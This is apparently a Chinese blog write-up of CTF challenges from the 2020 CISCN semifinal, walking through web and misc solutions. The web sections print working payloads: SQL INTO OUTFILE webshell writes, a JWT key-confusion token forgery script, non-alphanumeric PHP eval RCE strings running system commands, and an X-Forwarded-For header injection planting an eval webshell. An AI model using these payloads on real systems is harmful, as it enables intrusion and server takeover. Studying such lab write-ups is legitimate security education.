CISCN 复赛(华南赛区)部分wp

系统成了万人骑

扫出manager,进入后发现是后台,验证码不会刷新,可以爆破,账号密码

username:admin
password:admin

在工具->SQL高级助手里面可执行SQL语句,尝试写shell

select 1,2 union select 1,'<?php system("cat /flag");' into outfile '../../www/html/uploads/litimg/lz2y.php'

img

img

得到flag

我让你加密

注册一个账号,登录

img

可以注意到cookie是jwt

img

由于是RSA不可逆加密,所以直接爆破secret是不可能的,然后需要考虑将他转为HS256D对称加密,当时也没想到那个证书有啥用,直接转成HS256D了...现在才知道需要用证书来伪造

首先导出公钥

openssl x509 -in https_cert.crt -noout -pubkey > public.pem

然后用脚本生成cookie

import jwt
import datetime

dic = {
    'exp': datetime.datetime.now() + datetime.timedelta(days=1), 
    'iat': datetime.datetime.now(),  
    'name': 'admin',
}
public = open('public.pem', 'r').read() 
print public 
s = jwt.encode(dic, key=public, algorithm='HS256')  
print(s)
s = jwt.decode(s, key=public, algorithms=['HS256'])  
print(s)
print(type(s))

注意该脚本需要注释掉一些jwt包里面代码.要不然会报错

img

得到cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2MDA4OTQ5MjgsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTYwMDk4MTMyOH0.s82ao2N1DF1b2JJ89jU3ipSQrH54IQktRBZo5NEevf0

替换cookie可进入另一个页面

img

源码如下:

<?php

// PxParis maintenance shell, version 1.0.0
// Use this only in emergency situations!

require_once '../__config.php';
require_once '../__jwt_wrapper.php';

// --- sanity check

$name = jwt_verify();
if($name === false) {
    header('Refresh: 0; url=/login.php');

    die('Please login');
}

// --- DB operations

$sql = new SQLite3($USER_DB, SQLITE3_OPEN_READONLY);

$stmt = $sql->prepare('SELECT admin FROM users WHERE name = (?) LIMIT 1');
$stmt->bindValue(1, $name);
$result_obj = $stmt->execute();

$result = $result_obj->fetchArray();
if(!$result) {
    http_response_code(400);
    header('Refresh: 0; url=/');

    $result_obj->finalize();
    $sql->close();
    die('User does not exist (should not happen)');
}

// ---

$result_obj->finalize();
$sql->close();

if($result['admin']) {
    if(isset($_REQUEST['pxparis'])) {
        eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));
    } else {
        //highlight_file(__FILE__);
        highlight_string(file_get_contents(__FILE__));
    }
} else {
    header('Refresh: 2; url=/');

    die('Only admin can view this page');
}

可以发现eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));可以执行shell

生成payload如下

<?php
$str = 'phpinfo();';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
$lz2y = base64_encode($enc);
echo $lz2y . "<br>";
echo (zlib_decode(base64_decode($lz2y)));
?>

/**
eJwryCjIzEvL19C0BgAVxAOB
phpinfo();
**/

img

BreakThrough

显示源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$check=$_GET['check'];//本行代码勿删,否则影响加固环节成绩
echo "<!--".$check."-->"; //本行代码勿删,否则影响加固环节成绩
if(isset($_GET['rce'])) {
    $rce = $_GET['rce'];
    if (preg_match("/[A-Za-z0-9$]+/",$rce)) {
        die("error1");
    }
    if (preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)) 	{
        die("error2");
    }
    eval($rce);
}
?>

我们需要执行eval($rce),前面有挺多限制,首先是[A-Za-z0-9$]+,应该考的是__无数字和字母的webshell__,然后这应该是他的升级版,过滤了$,然后继续往下看,发现过滤了一堆

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)

异或非且,发现或没有被过滤,而且发现他居然过滤的是中文的,空格也是没有转义,相当于没有过滤

应该是可以通过操作将没有过滤的字符构造出我们想要的字母,写个脚本

<?php
$shell = "phpinfo";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
    for($x=0;$x<=125;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=0;$y<=125;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)|chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo 'GET:  '.'\'' . urlencode($result1) . '"|' . '"' .urlencode($result2) .'"<br>';
var_dump(chr(255));

function judge($c)
{
    if(!preg_match('/[a-z0-9]|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"|\ |\:|\,/is',$c))
    {
        return true;
    }
    return false;
}
/**
GET: '%10%08%10%09%0E%06%0F'|'%60%60%60%60%60%60%60'
**/

传参

?rce=(%27%10%08%10%09%0E%06%0F%27|%27%60%60%60%60%60%60%60%27)();

img

当时比赛就此搞不动了,之前见过一篇文章貌似可以用,但是没保存也不让上网查看资料,只能就罢

等等!!!我好像,在本地复现的时候发现可以直接

system(whoami);
/**
?rce=(%27%13%19%13%14%05%0D%27|%27%60%60%60%60%60%60%27)(%27%17%08%0F%01%0D%09%27|%27%60%60%60%60%60%60%27);
**/

直接执行系统命令???

当时队友跟我说这么搞,我还说php7特性这么操作是不行的...但也试了一下,比赛的时候死活不成功,当时赛题是开启了短标签的,当时测试过

?><? `whoami`?>

以为相当于<?php echo(shell_exec("whoami"));也没成功,现在发现需要

?><?= `whoami`?>

也在本地复现成功了...由于得不到当时的环境也不敢说啥

好吧,查看了wp,确实是可以这么搞的,中间的命令为字符串可以直接用.拼接

?rce=(%27``````%27|%27%13%19%13%14%05%0d%27)((%27```%27|%27%03%01%14%27).(%27%09/%27).(%27````%28%27|%27%06%0c%01%07%02%27));
/*
system(cat	/flag*);
*/

错过了一个亿?

so easy

smarty模板注入,先咕了,还没学过

系统成了千人骑

听说和万人骑差不多,弱密码进入后台,可以SQL写shell,但是现在也复现不了了,环境没拉下来,做题的时候自己把自己网站搞崩了,后来后台,phpmyadmin也进不去了,不愧是我

换了个IP

这题啊...我们看看源码吧...看下神奇的操作

    if(isset($_POST['username']) && isset($_POST['password'])){
        if(getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
          } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
          } elseif(getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
          } else {
            $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
          }
        
        $salt ='Satan1a';
        $username=$_POST['username'];
        $passwd=$_POST['password'];
        $changename=md5($username.$salt);
        $changepasswd=md5($passwd.$salt);
        $sql="SELECT * FROM users where username = '".$changename."' and password = '".$changepasswd."'";
        $result=$mysqli->query($sql);
        if ($result) {
            $row=$result->fetch_array();
        }else{
            echo '查询出错!';
        }
        $auth=($row['username']);
        if($auth===NULL){
            echo "<script>alert('用户名或者密码错误');history.go(-1);</script>";
        }
        else{
            $sql = "insert into login_ip (datetime,ip, username) values ('".date("Y-m-d h:i:s")."','".$ip."', '".$username."');";
            $mysqli->query($sql);
            $_SESSION["username"] = $username;
            echo "<script>alert('登录成功!');self.location='admin.php?action=welcome'; </script>";
            exit;
        }
    }else{
        include("templates/login.html");
        if(getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
          } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
          } elseif(getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
          } else {
            $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
          }
        $sql="select username from login_ip where ip='$ip'";
        $result=$mysqli->query($sql);
        if ($result) {
            $row=$result->fetch_array();
        }else{
            echo '查询出错!';
        }
        if ($row) {
            //
        }else{
            echo "<br><h3 align='center'>您正在新机器上登录系统,请检查登录环境是否安全</h3><br>";
        }
    }

???当时我测试过XFF伪造IP,然后SQL注入...但是谁能想到他需要没有usernamepassword才能进入这个else循环啊...有亿点点脑洞

在header头里添加x-forwarded-for字段进行注入
x-forwarded-for:1' union select '<?php eval("cmd");?>' into outfile "/var/www/html/lz2y.php"

you can get flag easily

下载文件,压缩包里面的文件名就是

img

hidden_secret

拿到题目,是一个没有后缀名的文件

拿去kali用file看一下,是一个zip

然后把后缀名改一下,改成zip

然后解压 看到一个图片和一个压缩包

然后打开压缩包,发现有加密的两个文件

然后观察一下,加密的文件里面也有hahah.jpg,而且crc校验值一样

可以想到明文攻击

准备好两个压缩包,拿去ARCHPR,明文攻击一波

顺利拿到压缩包密码

pb-1`;ks

然后解压了,看到一个gif,是key.gif

一帧一帧看一下,发现一个二维码

然后识别一下,得到flag

flag{ni_chou_sha}

但是提交发现flag不对,真的服了,错的flag也不直接说...

其实是gif隐写,用stegsolve分析图像信息,可以发现这个gif动图的间隔时间分为10和20两种,考虑gif时间隐写。

将所有间隔时间分离出来:magick identify -format "%T" key.gif >out.txt
得到:1020201020201020102010101020101010102020102010201020102020202020102020101020201010202020101020201020202010201010

img

将10转化为1,20转换为1,得到二进制串:01101101010001000011010101011111011001100111001101110100

转为字符串:mD5_fst

md5加密: 046cb65e60a4774c76b4f99371e66f0d

根据题目提示ntfs,查看文件夹隐藏文件,在hidden_secret文件夹中发现隐藏文件flag.rar,提取出来,是加密文件夹,用上面得到的md5值作为密码解压压缩包,得到flag.txt,打开得到flag

Misc是队友写的,我也没去复现了

posted @ 2020-09-27 20:52  lz**  阅读(458)  评论(0编辑  收藏  举报
#